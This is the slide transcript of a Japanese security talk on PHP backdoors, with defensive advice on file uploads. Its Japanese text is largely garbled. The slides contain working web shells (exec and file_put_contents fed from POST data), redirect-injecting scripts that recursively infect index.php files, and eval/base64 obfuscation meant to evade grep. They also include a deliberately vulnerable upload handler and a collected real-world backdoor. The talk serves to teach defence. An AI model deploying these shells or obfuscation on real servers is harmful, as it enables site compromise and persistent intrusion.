Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
作って理解するバックドア
Search
Roku
March 23, 2023
Technology
2.1k
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
作って理解するバックドア
Roku
March 23, 2023
More Decks by Roku
See All by Roku
Laravel のセキュリティはどうなってる?突撃ソースコードリーディング(PHPカンファレンス福岡2024)
ad5jp
1
1.4k
本当にあった怖い脆弱性の話
ad5jp
22
41k
Other Decks in Technology
See All in Technology
秘密度ラベル初心者が第1歩でつまづかないための「設計・運用」ポイント
seafay
PRO
0
240
10年間のブログ発信を振り返って見えたWebアプリケーションエンジニアとしての軌跡
stefafafan
0
170
Bucharest Tech Week 2026 - Guardians of the Cloud-Native Galaxy
edeandrea
PRO
0
120
20260619 私の日常業務での生成 AI 活用
masaruogura
1
230
GitHub Copilot 最新アップデート – 「一歩先」の実践活用術
moulongzhang
5
1.5k
スタートアップにAmazon EKSは早すぎる? マルチプロダクト戦略を加速する Platform Engineeringの実践 / Is Amazon EKS Too Soon for Startups? Practical Platform Engineering to Accelerate a Multi-Product Strategy
elmodev09
1
380
SteampipeとExcel Power QueryでAWS構成定義書の作成を自動化する
jhashimoto
0
160
2026TECHFRESH畢業分享會 - 葬送的通靈師:化系統與用戶雜訊成行動訊號
line_developers_tw
PRO
0
1.3k
Oracle Cloud Infrastructure:2026年6月度サービス・アップデート
oracle4engineer
PRO
0
130
2026 TECHFRESH 畢業分享會 - AI-Native 重塑軟體工程與虛擬講師
line_developers_tw
PRO
0
1.3k
Kiroで書いた 設計書 が AI レビューの 採点基準 になる
ezaki
0
130
いまさら聞けない「仕様駆動開発入門」 〜AI活用時代の開発プロセスを考える〜
findy_eventslides
2
160
Featured
See All Featured
Thoughts on Productivity
jonyablonski
76
5.2k
A Soul's Torment
seathinner
6
3k
[RailsConf 2023] Rails as a piece of cake
palkan
59
6.7k
Crafting Experiences
bethany
1
180
Lightning talk: Run Django tests with GitHub Actions
sabderemane
0
200
Jamie Indigo - Trashchat’s Guide to Black Boxes: Technical SEO Tactics for LLMs
techseoconnect
PRO
0
170
Breaking role norms: Why Content Design is so much more than writing copy - Taylor Woolridge
uxyall
0
320
Have SEOs Ruined the Internet? - User Awareness of SEO in 2025
akashhashmi
0
370
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
52
6k
Improving Core Web Vitals using Speculation Rules API
sergeychernyshev
21
1.5k
Cheating the UX When There Is Nothing More to Optimize - PixelPioneers
stephaniewalter
287
14k
Gemini Prompt Engineering: Practical Techniques for Tangible AI Outcomes
mfonobong
2
440
Transcript
࡞ͬͯཧղ͢ΔόοΫυΞ -FU`T%*:
ࣗݾհ w גࣜձࣾ"%ද w ొ த ηΩεϖʢʙʣ w 1)1FS,BJHJొஃ
ʮຊʹ͋ͬͨා͍੬ऑੑͷʯ 3PLV !BEKQ
ຊΞʔΩςΫνϟͱ͔ ϢχοτςετΈ͍ͨͳ ΩϥΩϥ͕͍͚ͨͨ͠͠ΕͲɺ ಙ̋͞Μͷޙ佂తϙδγϣϯΛૂͬͯɺ ࠓճηΩϡϦςΟωλͰ͢ɻ
΄Ͳલͷ͓ w ,͞Μʮ3PLV͞ʔΜʂIUBDDFTT͕ফͤͳ͍ΜͰ͢ʢٽʣʯ w ʮʢ͋͋ɺύʔϛογϣϯ͔ͳʁʣͲ͜ͷαΠτͰ͔͢ʁʯ w ,͞ΜʮʓʓͰ͢ɻαΠτશମ͕ݟ͑ͳ͘ͳͬͯͯʢٽʣʯ w ʮʢϙνϙνʣɾɾɾ͋Εʁফͤ·ͨ͠Αʯ w
,͞ΜʮԿফ͓͖ͯ͠ʹ෮׆͢ΔΜͰ͢ʢྦʣʯ
ͦΕɺόοΫυΞͰ͢ɻ
ࠓճͷ༰ w όοΫυΞͷ֓ཁ w όοΫυΞͷ࡞Γํͱ࣮ྫ w όοΫυΞͷରࡦ
όοΫυΞͷ֓ཁ
࣮ԋ w ͋Δͱ͜ΖʹɺԿͷมͳ͍ϝʔϧϑΥʔϜ͕͋Γ·ͨ͠ɻ
࣮ԋ w ѱ͍ਓ͕ϑΝΠϧ͕͜ΜͳϑΝΠϧΛΞοϓϩʔυ͠·ͨ͠ɻ SFXSJUFJOEFYQIQ <?php $path = __DIR__
. '/../../../public/index.php'; $code = "<?php die('you have been hacked :)');"; file_put_contents($path, $code); die('success');
࣮ԋ w ͦͯ͠ɺϑΝΠϧͷϓϨϏϡʔϦϯΫΛΫϦοΫ͠·ͨ͠ɻ
࣮ԋ w ͦͯ͠ɺϑΝΠϧͷϓϨϏϡʔϦϯΫΛΫϦοΫ͠·ͨ͠ɻ
࣮ԋ w αΠτશମ͕͜͏ͳΓ·ͨ͠ɻ
߈ܸ༻ϑΝΠϧ͍Ζ͍Ζ w ͬͱλνѱ͍ͭɻ <?php $path = __DIR__ . '/../../../public/index.php'; $code
= "<?php header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success');
߈ܸ༻ϑΝΠϧ͍Ζ͍Ζ w యܕతʹ͜Εɻ <?php file_put_contents($_POST['path'], $_POST['code']); <?php exec($_POST['command']);
͜ΜͳϑΝΠϧΛΞοϓϩʔυ͞ΕͨΒ w ୈࡾऀ͕αʔόΛࣗ༝ʹૢ࡞Ͱ͖Δͷͱಉ͡ ʹαʔόͷཪޱʢόοΫυΞʣ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕ
߈ܸͷྲྀΕʢ·ͱΊʣ w ࠷ॳͷ߈ܸ༻ϑΝΠϧ͕ɺ੬ऑੑΛ௨ͯ͡αʔόʹஔ͔ΕΔ ˣ w ओతͰ͋Δվ͟ΜΛߦ͍ͭͭɺ ୈ̎ɼୈ̏ͷ߈ܸ༻ϑΝΠϧΛผͷॴʹஔ͘ɻ
ˣ w ࠷ॳͷ߈ܸ༻ϑΝΠϧ͕ۦআ͞Εͯɺୈ̎ɺୈ̏ͷ ߈ܸ༻ϑΝΠϧʹΑΓɺվ͟ΜΛ܁Γฦ͢ɻ
ͭ·ΓόοΫυΞ w੬ऑੑͦͷͷͰͳ͘ɺ ߈ܸతͦͷͷͰͳ͍ɻ wҰޭͨ͠߈ܸΛܧଓతʹߦ͍͘͢ɺ ·ͨۦআ͠ʹ͘͘͢ΔͨΊͷதؒखஈɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ
߈ܸͷओత ΤϯτϦʔϙΠϯτ JOEFYQIQ IUBDDFTTΛվ͟Μ͠ɺ w ϢʔβΛ߈ܸऀͷαΠτʹඈ͢ɻ w ةݥͳϑΝΠϧΛμϯϩʔυͤ͞Δɻ w %%P4߈ܸͷ౿Έʹ͢Δɻ
w FOWͷใΛൈ͖औΔɻ w ηογϣϯ͔ΒϢʔβͷൿີใΛൈ͖औΔɻ
όοΫυΞͷ࡞Γํ
͖ͬ͞ͷαϯϓϧ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success');
͖ͬ͞ͷαϯϓϧ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code); die('success'); ͜Μͳվ͟ΜͳΒ·ͩϚγɻ
άϨʔυΞοϓ <?php $code = <<<'EOM' <?php if (empty($_SESSION) && empty($_COOKIE))
{ header('Location: https://ad5.jp'); } ?> EOM; $path = __DIR__ . '/../../../public/index.php'; $code .= file_get_contents($path, $code); file_put_contents($path, $code);
άϨʔυΞοϓ <?php $code = <<<'EOM' <?php if (empty($_SESSION) && empty($_COOKIE))
{ header('Location: https://ad5.jp'); } ?> EOM; $path = __DIR__ . '/../../../public/index.php'; $code .= file_get_contents($path, $code); file_put_contents($path, $code); ཧऀ։ൃऀ͕ؾ͔ͮͳ͍͏ͪʹɺ ৽ن๚ऀ͚͕ͩඈ͞Εଓ͚Δɻ
͜ΜͳύεܾΊଧͪͷ߈ܸ ͨΔΘ͚ͶʔͩΖ͆͆͆
HMPC Λͬͯ૯ͨΓ <?php function prepend($path) { $code .= file_get_contents($path, “…߈ܸ༻ίʔυ…”);
file_put_contents($path, $code); } function prependRecursive($path) { if (file_exists("{$path}/index.php")) { prepend("{$path}/index.php"); } foreach (glob("{$path}/*") as $child) { if (is_dir($child)) { prependRecursive($child); } } } prependRecursive($_SERVER["DOCUMENT_ROOT"]);
ൃݟ͞Εʹ͍͘ϑΝΠϧΛૂ͏ w ϑϨʔϜϫʔΫʹඞͣଘࡏ͢ΔϑΝΠϧΛվ͟Μ ྫʣQVCMJDJOEFYQIQ w ϑϨʔϜϫʔΫʹ͍͔ʹ͋Γͦ͏ͳ໊લͷϑΝΠϧΛઃஔ ྫʣMPBEQIQ
MPDBMFQIQ w HJUJHOPSF͞Ε͍ͯΔσΟϨΫτϦʹϑΝΠϧΛઃஔ ྫʣTUPSBHFQVCMJD
8PSE1SFTTͳΒɾɾɾ w XQBENJOXQJODMVEFTͷϑΝΠϧΛվ͟Μɺ ·ͨϑΝΠϧΛઃஔ w XQDPOUFOUQMVHJOTYYYͷϑΝΠϧΛվ͟Μɺ ·ͨϑΝΠϧΛઃஔ w
XQDPOUFOUVQMPBETʹϑΝΠϧΛઃஔ
GJMF@QVU@DPOUFOU ͱ͔ GXSJUF ͱ͔ͰHSFQͨ͠Β ۦআͰ͖ΔΜ͡ΌͶʁ
ྫ͑͜ͷίʔυ <?php $path = __DIR__ . '/../../../public/index.php'; $code = "<?php
header('Location: https://ad5.jp');"; file_put_contents($path, $code);
͜͏ͯ͠ <?php eval("$path = __DIR__ . '/../../../public/index.php'; $code = \"<?php
header('Location: https://ad5.jp'); \";file_put_contents($path, $code)");
͜͏͢Δͱ <?php eval(base64_decode("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8 uLi9wdWJsaWMvaW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZG VyKCdMb2NhdGlvbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1d F9jb250ZW50cygkcGF0aCwgJGNvZGUp"));
GJMF@QVU@DPOUFOU ফ͑·ͨ͠ɻ
͡Ό͋ɺFWBM ͱ͔ CBTF@EFDPEF Ͱ HSFQ͢Ε͍͍Μ͡ΌͶʁ
1)1͞ΜॊೈͳΜͰ͢ɻ <?php $a = "eval"; $b = “base64_encode"; $a($b("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8uLi9wdWJsaWMv aW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZGVyKCdMb2NhdGl
vbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1dF9jb250ZW50cy gkcGF0aCwgJGNvZGUp"));
1)1͞ΜॊೈͳΜͰ͢ɻ <?php $x = '0123456789abcdefghijklmnopqrstuvwxyz_'; $a = $x[14].$x[31].$x[10].$x[21]; $b =
$x[11].$x[10].$x[28].$x[14].$x[6].$x[4].$x[36]. $x[13].$x[14].$x[12].$x[24].$x[13].$x[14]; $a($b("JHBhdGggPSBfX0RJUl9fIC4gJy8uLi8uLi8uLi9wdWJsaWMv aW5kZXgucGhwJzskY29kZSA9IFwiPD9waHAgaGVhZGVyKCdMb2NhdGl vbjogaHR0cHM6Ly9hZDUuanAnKTtcIjtmaWxlX3B1dF9jb250ZW50cy gkcGF0aCwgJGNvZGUp"));
ίʔυ͔ΒҰͷ ͕ؔফ͑·ͨ͠
HSFQແཧͰ͢ɻ
˞͓அΓ w ઌఔͷίʔυ̍ӕ͕͋Γ·͢ɻ FWBMؔͰͳ͘ݴޠߏͷͨΊɺ ಈ͖·ͤΜɻ w
࣮ࡍͷஈͷಡԽʹɺ DSFBUF@GVODUJPO ؔ 1)1 ͕ΘΕ͍ͯΔͷ͕ ଟ͘ݟΒΕ·ͨ͠ɻ $a = "eval"; $a();
࣮ࡍʹ࠾ूͨ͠όοΫυΞ MPDBMFQIQ ˞ CZUF <?php $tJvyYsXGpmgwi='y(3;]whcx)8$4mb dk1qog5sprlua=z_/ 0i9tvf_”76*.2n[je';$q2866=$tJvyYsXGpmgwi[(105/15)]. $tJvyYsXGpmgwi[(26-1)].$tJvyYsXGpmgwi[(1*49)]. $tJvyYsXGpmgwi[((10*1)+18)].$tJvyYsXGpmgwi[(14+22)].
$tJvyYsXGpmgwi[(44+5)].$tJvyYsXGpmgwi[(44-13)].$tJvyYsXGpmgwi[(684/18)]. $tJvyYsXGpmgwi[(23+4)].$tJvyYsXGpmgwi[(72-(33-7))]. $tJvyYsXGpmgwi[(154/22)].$tJvyYsXGpmgwi[(11+25)].$tJvyYsXGpmgwi[(65- (62-31))].$tJvyYsXGpmgwi[(26-6)].$tJvyYsXGpmgwi[((27*2)-8)]; $pHFdNhg9688=$tJvyYsXGpmgwi[(20-9)].$tJvyYsXGpmgwi[(2*4)]. $tJvyYsXGpmgwi[(29*1)].$tJvyYsXGpmgwi[(160/4)]; $MYtraky2482=$tJvyYsXGpmgwi[(8*5)].$tJvyYsXGpmgwi[((1+0)+2)]. $tJvyYsXGpmgwi[(6+(1*(95/19)))].$tJvyYsXGpmgwi[(140/5)]. $tJvyYsXGpmgwi[(522/18)].$tJvyYsXGpmgwi[(7*((7-3)-2))]. …ུ…
ղಡ͢Δͱ͜͏ͳͬͯͨɻ <?php $x=“‘7RxrU9tI8jP8CqGiIvtWyCYJSRYwgSTO4y4BziZ3l98Q…ུ…“; $a=base64_decode($x); $b=gzinflate($a); eval($b);
EFDPEF͢Δͱɻ <?php error_reporting(0); @set_time_limit(3600); @ignore_user_abort(1); $xmlname = 'mapss.xml'; $dt =
0; $sitemap_file = 'sitemap'; $mapnum = 2000; if(isset($_GET['dt'])){ $dt = $_GET['dt']; } $site = @$_GET['smsite']; $jdir = ''; $http_web = 'http'; if(is_https()){ $http = 'https'; }else{ …ུ…
MPDBMFQIQͷಛ w (PPHMFʹِͷαΠτϚοϓΛૹ͍ͬͯΔɻ ˠ4FBSDI$POTPMFݕࡧ݁ՌͷΞϥʔτʹΑΓɺ ɹӡӦऀϢʔβʹؾ͔ͮΕΔͷΛ͙ͨΊɻ w $44ը૾ͷೖͬͨσΟϨΫτϦΛૂ͍ͬͯΔɻ w
ϑΝΠϧʹॻ͖ࠐΉ༰Λ֎෦63-͔Βऔಘ͍ͯ͠Δɻ ˠ͓ͦΒ͘߈ܸऀͷ࢘ྩ༻αʔόɻ͜ͷ༰Λมߋ͢Δ͜ͱͰ ɹ߈ܸ༻ϑΝΠϧΛมߋͤͣͱɺ߈ܸ༰Λม͑ΒΕΔɻ
શจ͓Αͼଞͷαϯϓϧͪ͜Β͔ΒͲ͏ͧ HJUIVCDPNBEKQQIQFSLBJHJ
όοΫυΞͷରࡦ
ઃஔ͞Εͳ͍Α͏ʹ͢Δɻ
Ҏ্ɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ
ࠜຊݪҼͱͳΔ੬ऑੑ w ةݥͳλΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυ ʢ$8&ʣ w 04ίϚϯυΠϯδΣΫγϣϯ ʢ$8&ʣ w
ͳͲɻ ࠓ͜Εʹߜ͓ͬͯ͠·͢ɻ
࣮ԋʹ༻͓͍ͨ͠߹ΘͤϑΥʔϜ public function goConfirm(InquiryRequest $request) : RedirectResponse { $data =
$request->input(); $saving_path = storage_path('app/public/' . $_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $saving_path); chmod($saving_path, 0755); $data['file_name'] = $_FILES['file']['name']; $data['file_url'] = url('storage/', $_FILES['file']['name']); session()->put('inquiry', $data); return redirect()->route('confirm'); }
ྲྀੴʹ͜Μͳ࣮͢Δਓ ͍ͳ͍ͱࢥ͍·͕͢ɾɾɾ
͡Ό͋ɺ͜Ε҆શͰ͔͢ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
͡Ό͋ɺ͜Ε҆શͰ͔͢ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ } ͔݁Βݴ͑ɺ΄ͱΜͲͷ݅ԼͰηʔϑͰ͢ɻ Կނηʔϑͳͷ͔ɺͲ͏͍͏݅ԼͰةݥͳͷ͔ɺ ͑ΒΕ·͔͢ʁ
ͳͥ͜Μͳ͜ͱΛ㘤͘ͷ͔ɻ w୭ɺ੬ऑੑΛ࡞Ζ͏ͱࢥͬͯ࡞͍ͬͯͳ͍ɻ w࣮ࡍͷϓϩμΫτͷ༷ෳࡶͰɺ ίʔυෳࡶʹೖΓΜͰ͍Δɻ ͦͷ݁Ռɺ͕ൃੜ͢Δ͕݅ͨ·ͨ·ἧͬͯ͠·͍ɺ ੬ऑੑ͕ੜ·Εͯ͠·͏ɻ wਖ਼֬ͳཧղ͕ॏཁɻ
߈ܸͷཱ݅ ᶃ1)1ͷεΫϦϓτϑΝΠϧ͕ΞοϓϩʔυͰ͖ͯ͠·͏ɻ ᶄΞοϓϩʔυઌ͕ಉҰαʔόͷެ։σΟϨΫτϦͰ͋Δɻ ᶅΞοϓϩʔυ͞ΕͨϑΝΠϧ͕࣮ߦՄೳͰ͋Δɻ
ཱ݅ͱରࡦ ᶃ1)1ͷεΫϦϓτϑΝΠϧ͕ΞοϓϩʔυͰ͖ͯ͠·͏ɻ ˠ.JNF5ZQFΛνΣοΫ͠ɺඞཁ࠷খݶͷछྨͷϑΝΠϧͷ ɹΞοϓϩʔυͷΈڐՄ͢Δɻ ɾɾɾཁ݅ʹΑͬͯ.JNF5ZQFͷ੍ݶ͕ࠔͳ߹͋Δɻ
ཱ݅ͱରࡦ ᶄΞοϓϩʔυઌ͕ಉҰαʔόͷެ։σΟϨΫτϦͰ͋Δɻ ˠΞοϓϩʔυϑΝΠϧΛඇެ։σΟϨΫτϦʹஔ͍ͯ ɹ͍Εɺ߈ܸʹ༻͞ΕΔ͜ͱͳ͍ɻ ɹ·ͨɺΞϓϦέʔγϣϯͷઃஔ͞Εͨ8FCαʔόͱผͷ ɹॴʹϑΝΠϧΛஔ͍͍ͯΕɺ߈ཱܸ͠ͳ͍ɻ
ɾɾɾ͜Εཁ݅࣍ୈͰ࣮ݱͰ͖ͳ͍߹ɻ ɹɹɹͦͦຊ࣭తରࡦͰͳ͍ɻ
ཱ݅ͱରࡦ ᶅΞοϓϩʔυ͞ΕͨϑΝΠϧ͕࣮ߦՄೳͰ͋Δɻ ΑΓ۩ମతʹɺҎԼͷ̎݅ɻ "1)1$(*ͱͯ͠ղऍ͞ΕΔʢ࣮ߦ༻ͷϋϯυϥʹ ɹϚοϓ͞Ε͍ͯΔʣϑΝΠϧ໊Ͱอଘ͞ΕΔɻ #࣮ߦՄೳͳύʔϛογϣϯͰอଘ͞ΕΔɻ
ཱ݅ͱରࡦ ᶅ"1)1$(*ͱͯ͠ղऍ͞ΕΔϑΝΠϧ໊Ͱอଘ͞ΕΔɻ Ұൠతʹɺ֦ுࢠ͕QIQͰͳ͚Εɺ1)1ͱ࣮ͯ͠ߦ͞ΕΔ ͜ͱͳ͍ɻ ʢ1)1ίʔυ͕ॻ͔Ε͍ͯͯɺ୯ͳΔςΩετϑΝΠϧ ɹͱͯ͠ѻΘΕΕແʣ ˞ୠ͠ɺ্ه8FCαʔόͷઃఆʹґଘ͢Δʢޙड़ʣɻ
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ } σϑΥϧτͰɺQIQϑΝΠϧΛΞοϓϩʔυͨ͠߹ɺ ֦ுࢠͳ͠ʹͳΔɻ
6QMPBEFE'JMFTUPSF ͷ࣮ 6QMPBEFE'JMFIBTI/BNF ʹΑΓϑΝΠϧ໊͕ܾఆ͞ΕΔɻ ֦ுࢠɺ'JMFHVFTT&YUFOUJPO ʹΑܾͬͯΊΒΕΔɻ 1)1ϑΝΠϧΛΞοϓϩʔυͨ͠߹ɺ.JNF5ZQF
UFYUYQIQͱͳΓɺ.JNF5ZQF."1ͷఆٛʹै͍ɺ ֦ுࢠͳ͠Ͱ֨ೲ͞ΕΔɻ 6QMPBEFE'JMFʜ*MMVNJOBUFa)UUQa6QMPBEFE'JMF 'JMFʜ4ZNGPOZa$PNQPOFOUa)UUQ'PVOEBUJPOa'JMFa'JMF .JNF5ZQFTʜ4ZNGPOZa$PNQPOFOUa.JNFa.JNF5ZQFT
ྫ֎ ͨͩ͠ɺ͜ͷڍಈɺ.JNF5ZQFEFGBVMUΛηοτ͢Δ͜ͱ ͰมߋՄೳͰ͋Δɻ ੩తϓϩύςΟͰ͋ΔͨΊɺྫ͑4FSWJDF1SPWJEFSͰ ηοτ͍ͯ͠ΕɺΞϓϦέʔγϣϯશମʹӨڹ͕ٴͿɻ .JNF5ZQFTʜ4ZNGPOZa$PNQPOFOUa.JNFa.JNF5ZQFT
͜Μͳ࣮ɺΓ͕ͪɻ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $filename = Carbon::now()->format(‘Ymd_His.') . $uploaded_file->getClientOriginalExtension(); $path = $uploaded_file->storePubliclyAs('upload', $filename , ['disk' => 'public']); //ུ } ϑΝΠϧ໊ʹ*%ͷϧʔϧΛ࣋ͨͤͯอଘ͢Δ߹ɻ HFU$MJFOU0SJHJOBM&YUFOTJPO ΑΓHVFTT&YUFOUJPO
ͦͦ ྫ͑"QBDIFͷ߹ɺIUUQEDPOGIUBDDFTTʹ ͷΑ͏ʹهड़͞Ε͍ͯΕɺ֦ுࢠIUNMͰΞτɻ ཧ্ɺઃఆ࣍ୈͰɺ͋ΒΏΔ໊લͷϑΝΠϧ͕1)1ͱͯ͠ ࣮ߦՄೳͰ͋Δɻ 8FCαʔόͷઃఆʹґଘ͖͢Ͱͳ͍ɻ AddHandler php-script .php
.html
ཱ݅ͱରࡦ ᶅ#࣮ߦՄೳͳύʔϛογϣϯͰอଘ͞ΕΔɻ 1)1ʹΑͬͯઃஔ͞ΕͨϑΝΠϧͷॴ༗ऀɺ௨ৗ1)1ͷ࣮ߦ ϢʔβͰ͋ΔͨΊɺॴ༗ऀͷ࣮ߦݖݶ͕͋ΕΞτɻ ˠSXYSXYSXYˠΞτ ˠSXSXSXˠηʔϑ ˠSXYSYSYˠΞτ
ˠSXSSˠηʔϑ ˠSXYˠΞτ
͡Ό͋͜ΕͲ͏ͳͷ͔ʁ public function goConfirm(InquiryRequest $request) : RedirectResponse { $uploaded_file =
$request->file(‘file'); $path = $uploaded_file->storePublicly('upload', ['disk' => 'public']); //ུ }
6QMPBEFE'JMFTUPSF ͷ࣮ ιʔείʔυϦʔσΟϯάׂѪ͠·͕͢ɾɾɾ ઃఆϑΝΠϧDPO fi H fi MFTZTUFNTQIQ ͷEJTLTQVCMJDQFSNJTTJPOTͷઃఆʹґଘ͠·͢ɻ
σϑΥϧτͰɺσΟϨΫτϦ·ͨʹɺ ϑΝΠϧ·ͨʹͳ͍ͬͯ·͢ɻ ˠ͜ͷઃఆΛมߋ͍ͯ͠ͳ͍ݶΓɺ ɹલड़ͷίʔυύʔϛογϣϯʹͳΓ·͢ɻ
ͪΖΜɺ ࣗྗͰDINPE QBUI ͱ͔ͯͨ͠ΒΞτͰ͢ɻ TUPSBHFϑΥϧμύʔϛογϣϯʹ͢͠ɺ ͱ͍͏ޡͬͨղઆΛɺ͞ΒʹऔΓҧ͑ͯɺ ϑΝΠϧอଘޙʹɺΘ͟Θ͟ύʔϛογϣϯʹ
มߋ͍ͯ͠Δ࣮ɺݟͨ͜ͱ͋Γ·͢ɻɻɻ
ͪͳΈʹ͜ͷ߹ public function goConfirm(InquiryRequest $request) : RedirectResponse { $data =
$request->input(); $saving_path = storage_path('app/public/' . $_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $saving_path); //ུ } ύʔϛογϣϯͲ͏ͳΔ͔ɺ͑ΒΕ·͔͢ʁ
GJMF@QVU@DPOUFOU ͷύʔϛογϣϯ w 04ͷઃఆʢVNBTLʣʹґଘ͠·͢ɻ ଟ͘ͷڥͰɺσΟϨΫτϦ ·ͨ ɺ ϑΝΠϧ
·ͨ Ͱ͢ɻ w 04ͷઃఆʹґଘ͖͢Ͱͳ͘ɺΞϓϦέʔγϣϯͰ ໌ࣔతʹରॲ͖͢Ͱ͢ɻ
·ͱΊʢ$8&ͷରࡦʣ w ཁٻ্༷ՄೳͳΒɺΞοϓϩʔυՄೳͳϑΝΠϧΛ .JNF5ZQFͰඞཁ࠷খݶͷͷͷΈʹ੍ݶ͢Δɻ w ΞοϓϩʔυޙͷϑΝΠϧ࣮ߦෆՄೳͳύʔϛογϣϯʹɻ w ΞοϓϩʔυޙͷϑΝΠϧ࣮ߦෆՄೳͳϑΝΠϧ໊ʹɻ w
-BSBWFMͷ6QMPBEFE'JMFTUPSF Ͱ͑͞ɺ ͍͔ͭ͘ͷ͕݅ॏͳΕةݥͳ࣮ʹͳΔɻ
αʔυύʔςΟϥΠϒϥϦཁҙ w +7/%# 8PSE1SFTT༻DPOUBDUGPSNϓϥάΠϯʹ͓͚Δةݥͳλ ΠϓͷϑΝΠϧͷແ੍ݶΞοϓϩʔυʹؔ͢Δ੬ऑੑ w +7/%# .PWBCMF5ZQFͷ9.-31$"1*ʹ͓͚Δ04ίϚϯυΠϯδ
ΣΫγϣϯͷ੬ऑੑ ˠͲͪΒɺେྔͷόοΫυΞඃΛൃੜͤ͞·ͨ͠ɻ
͏ͪ8PSE1SFTT Θͳ͍͔Βେৎʁ
օ͞Μͷ͓٬༷ͷଟ͕͘ɺ w ڪΒ͘8PSE1SFTTΛ༻͍ͯ͠·͢ɻ w ࣗࣾͷೲอकରͰͳ͘ͱɺ ͍͟ࠔͬͨΒօ͞Μʹ૬ஊ͕དྷΔͣͰ͢ɻ w ର؛ͷՐࣄͰͳ͘ɺҙשى͍͖ͯ͠·͠ΐ͏ɻ
ͦͯ͠ͳʹΑΓɺ w όοΫυΞͷଟ͕͘1)1Ͱॻ͔Ε͍ͯ·͢ɻ w1)1FSͱͯ͠ɺաͰ͖·ͤΜɻ
όοΫυΞΛઃஔ͞Εͯ ͠·ͬͨΒ
جຊํ w લड़ͷͱ͓ΓɺશۦআۃΊ͍ͯ͠Ͱ͢ɻ w ·ͣɺࠜຊݪҼͱͳΔ੬ऑੑΛಛఆ͠ɺഉআ͢Δɻ w ͦͷޙɺผͷαʔόΛཱͯɺ "߈ܸΛड͚ΔલͷόοΫΞοϓ͔ΒϦετΞ͢Δɻ
#ࢹ֬ೝ͠ͳ͕Βɺ࣮֬ʹ҆શͳϑΝΠϧͷΈΛҠߦɻ
ઈࠎ͕ંΕΔ্ɺ શ͘ੜ࢈ੑͷͳ͍࡞ۀͳͷͰɺ ࢮʹͨ͘ͳΓ·͢ɻ
ΒΕ͔ͯΒͰ͍Ͱ͢ɻ
ฐ্࢙ࣾ൪࠷ѱͩͬͨόοΫυΞରԠ w 8FC੍࡞ձࣾ͞Μ͔Βٽ͖͔ͭΕͯɺରԠɻ w Ҏ্ͷαΠτ͕ɺϨϯαόͷϚϧνυϝΠϯͰ ӡ༻͞Ε͓ͯΓɺಓ࿈Εඃɻ ˠҕୗݩ͔ΒΫϨʔϜͷཛྷɻ
ˠݪҼಛఆࣗମ͕ۃΊͯߤɻ ˠϦετΞҠඇݱ࣮తɻ w શղܾʹϲ݄ۙ͘Λཁͨ͠ɻ
͏Ұݴ͍·͢ɻ ΒΕ͔ͯΒͰ͍Ͱ͢ɻ
ձࣾհ IUUQTBEKQ w େࡕͷडୗϕϯμʔͰ͢ɻ w Θ͍Θ͍ΨϠΨϠͬͯΔձࣾͰ͢ɻ w ΤϯδχΞਵ࣌ืूதɻ